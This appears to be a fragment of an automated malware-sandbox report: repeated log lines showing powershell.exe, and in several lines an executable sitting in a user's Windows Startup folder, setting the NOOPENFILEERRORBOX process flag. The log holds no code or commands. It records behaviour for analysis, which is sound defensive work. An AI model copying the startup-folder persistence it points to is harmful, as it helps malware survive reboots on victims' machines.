Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
